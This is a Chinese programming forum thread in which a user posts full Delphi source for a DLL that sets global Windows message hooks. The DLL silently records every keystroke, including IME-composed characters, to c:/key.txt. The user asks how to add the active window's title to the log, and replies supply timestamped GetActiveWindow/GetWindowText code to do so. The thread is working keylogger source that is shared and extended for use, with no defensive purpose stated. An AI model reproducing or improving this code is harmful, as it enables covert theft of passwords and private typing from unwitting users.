请教:关于钩子的一个问题 !(100分)

  • 主题发起人 主题发起人 microwave
  • 开始时间 开始时间
M

microwave

Unregistered / Unconfirmed
GUEST, unregistred user!
library getkey;<br>uses<br>&nbsp;<br>&nbsp; windows, &nbsp;SysUtils,<br>&nbsp; messages,<br>&nbsp; Classes;<br><br>{$R *.res}<br><br>const<br>&nbsp; HookMemFileName='HookMemfile.DTA';<br>&nbsp; logfile='c:/key.txt';<br><br>type<br>&nbsp; PShared=^TShared;<br>&nbsp; PWin=^TWin;<br>&nbsp; TShared=record<br>&nbsp; &nbsp; HHGetMsgProc:HHook;<br>&nbsp; &nbsp; HHCallWndProc:HHook;<br>&nbsp; &nbsp; Self:integer;<br>&nbsp; &nbsp; Count:integer;<br>&nbsp; &nbsp; hinst:integer<br>&nbsp; end;<br>&nbsp; TWin=record<br>&nbsp; &nbsp; Msg:TMsg;<br>&nbsp; &nbsp; wClass:TWndClass;<br>&nbsp; &nbsp; hMain:integer;<br>&nbsp; end;<br>var<br>&nbsp; MemFile:THandle;<br>&nbsp; Shared:PShared;<br>&nbsp; Win:TWin;<br><br>procedure SaveInfo (str:string);stdcall;<br>var<br>&nbsp; f:textfile;<br>begin<br>&nbsp; assignfile(f,logfile);<br>&nbsp; if fileexists(logfile)=false then rewrite(f)<br>&nbsp; else append(f);<br>&nbsp; if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')<br>&nbsp; else write(f,str);<br>&nbsp; closefile(f);<br>end;<br><br>procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;<br>begin<br>&nbsp; if (uMessage=WM_CHAR) and (lParam&lt;&gt;1) then<br>&nbsp; begin<br>&nbsp; &nbsp; SaveInfo(format('%s',[chr(wparam and $ff)]));<br>&nbsp; &nbsp; inc(shared^.count);<br>&nbsp; &nbsp; if shared^.Count &gt;60 then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; SaveInfo('#13#10');<br>&nbsp; &nbsp; &nbsp; shared^.Count:=0;<br>&nbsp; &nbsp; end;<br>&nbsp; end;<br>&nbsp; if (uMessage=WM_IME_CHAR) then<br>&nbsp; begin<br>&nbsp; &nbsp; SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));<br>&nbsp; &nbsp; inc(shared^.Count,2);<br>&nbsp; end;<br>end;<br><br>function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>var<br>&nbsp; pcs:PMSG;<br>&nbsp; hd,uMsg,wP,lP:integer;<br>begin<br>&nbsp; pcs:=PMSG(lParam);<br>&nbsp; if (nCode&gt;=0) and (pcs&lt;&gt;nil) and (pcs^.hwnd &lt;&gt;0) then<br>&nbsp; begin<br>&nbsp; &nbsp; hd:=pcs^.hwnd;<br>&nbsp; &nbsp; uMsg:=pcs^.message;<br>&nbsp; &nbsp; wp:=pcs^.wParam;<br>&nbsp; &nbsp; lp:=pcs^.lParam;<br>&nbsp; &nbsp; HookProc(hd,uMsg,wp,lp);<br>&nbsp; end;<br>&nbsp; Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);<br>end;<br><br>function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>var<br>&nbsp; pcs:PCWPSTRUCT;<br>&nbsp; hd,uMsg,wP,Lp:integer;<br>begin<br>&nbsp; pcs:=PCWPSTRUCT(lParam);<br>&nbsp; if (nCode&gt;=0) and (pcs&lt;&gt;nil) and (pcs^.hwnd &lt;&gt;0) then<br>&nbsp; begin<br>&nbsp; &nbsp; hd:=pcs^.hwnd;<br>&nbsp; &nbsp; uMsg:=pcs^.message;<br>&nbsp; &nbsp; wp:=pcs^.wParam;<br>&nbsp; &nbsp; lp:=pcs^.lParam;<br>&nbsp; &nbsp; HookProc(hd,uMsg,wp,lp);<br>&nbsp; end;<br>&nbsp; Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);<br>end;<br><br>procedure SetHook(fSet:boolean);<br>begin<br>&nbsp; with shared^ do<br>&nbsp; if fSet=true then<br>&nbsp; begin<br>&nbsp; &nbsp; if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);<br>&nbsp; &nbsp; if HHCallWndProc=0 then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);<br>&nbsp; &nbsp; &nbsp; if HHCallWndProc=0 then<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);<br>&nbsp; &nbsp; &nbsp; &nbsp; if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; end else<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; if HHGetMsgProc&lt;&gt;0 then UnhookWindowsHookEx(HHGetMsgProc);<br>&nbsp; &nbsp; &nbsp; if HHCallWndProc&lt;&gt;0 then UnhookWindowsHookEx(HHCallWndProc);<br>&nbsp; &nbsp; &nbsp; HHGetMsgProc:=0;<br>&nbsp; &nbsp; &nbsp; HHCallWndProc:=0;<br>&nbsp; &nbsp; end;<br>&nbsp; end;<br>end;<br><br>procedure Extro;<br>begin<br>&nbsp; UnmapViewOfFile(Shared);<br>&nbsp; CloseHandle(MemFile);<br>end;<br><br>function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT;stdcall;<br>begin<br>&nbsp; Result:=DefWindowProc(hwnd,Msg,wParam,lParam);<br>&nbsp; case Msg of<br>&nbsp; wm_destroy:<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; SetHook(False);<br>&nbsp; &nbsp; &nbsp; ExitThread(0);<br>&nbsp; &nbsp; &nbsp; freelibrary(shared^.hinst);<br>&nbsp; &nbsp; &nbsp; //TerminateThread();<br>&nbsp; &nbsp; &nbsp; exitprocess(0); &nbsp; <br>&nbsp; &nbsp; end;<br>&nbsp; end;<br>end;<br><br>procedure run;stdcall;<br>begin<br>&nbsp; win.wClass.lpfnWndProc:= &nbsp; @WindowProc;<br>&nbsp; win.wClass.hInstance:= &nbsp; &nbsp; hInstance;<br>&nbsp; win.wClass.lpszClassName:='GetKey';<br>&nbsp;// RegisterClass(win.wClass);<br>&nbsp; win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);<br>&nbsp; FillChar(Shared^,SizeOf(TShared),0);<br>&nbsp; shared^.self:=win.hmain;<br>&nbsp; shared^.hinst:=hinstance;<br>&nbsp; SetHook(true);<br>&nbsp; postmessage(findwindow('WinExec',nil),wm_destroy,0,0);<br>&nbsp; while(GetMessage(win.Msg,win.hmain,0,0))do<br>&nbsp; begin &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; TranslateMessage(win.Msg);<br>&nbsp; &nbsp; DispatchMessage(win.Msg);<br>&nbsp; end;<br>&nbsp; exitprocess(0);<br>end;<br><br>procedure DllEntryPoint(fdwReason:DWORD);<br>begin<br>&nbsp; case fdwReason of<br>&nbsp; DLL_PROCESS_DETACH:<br>&nbsp; &nbsp; Extro;<br>&nbsp; end;<br>end;<br><br>exports run;<br><br>begin &nbsp;<br>&nbsp; MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);<br>&nbsp; Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);<br>&nbsp; DLLProc:=@DllEntryPoint;<br>end.<br><br>如果我要想在记录键盘前记下输入字符的窗口标题请问该如何修改?
 
GetActiveWindow() + GetWindowText()
 
在什么地方插入呢?
 
随便你,可以放在你的SaveInfo()中。
 
to microwave<br>呵呵,不要骂我懒,我想问问你的那段程序能不能具体解释一下<br><br>水平太低,看得头昏眼花<br><br>ifeng_xu@163.com<br>19501238
 
&nbsp; &nbsp;FocusWnd := GetActiveWindow;<br>&nbsp; &nbsp; if LastFocusWnd &lt;&gt; FocusWnd then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; writeln(LogFile);<br>&nbsp; &nbsp; &nbsp; writeln(LogFile, '*********End**********');<br>&nbsp; &nbsp; &nbsp; writeln(LogFile);<br>&nbsp; &nbsp; &nbsp; writeln(LogFile, '********begin*********');<br>&nbsp; &nbsp; &nbsp; GetWindowText(FocusWnd, Title, 256);<br>&nbsp; &nbsp; &nbsp; LastFocusWnd := FocusWnd;<br>&nbsp; &nbsp; &nbsp; Time := DateTimeToStr(Now);<br>&nbsp; &nbsp; &nbsp; Writeln(LogFile, Time + Format(' &nbsp;《%s》', [Title]));<br>&nbsp; &nbsp; end;
 
后退
顶部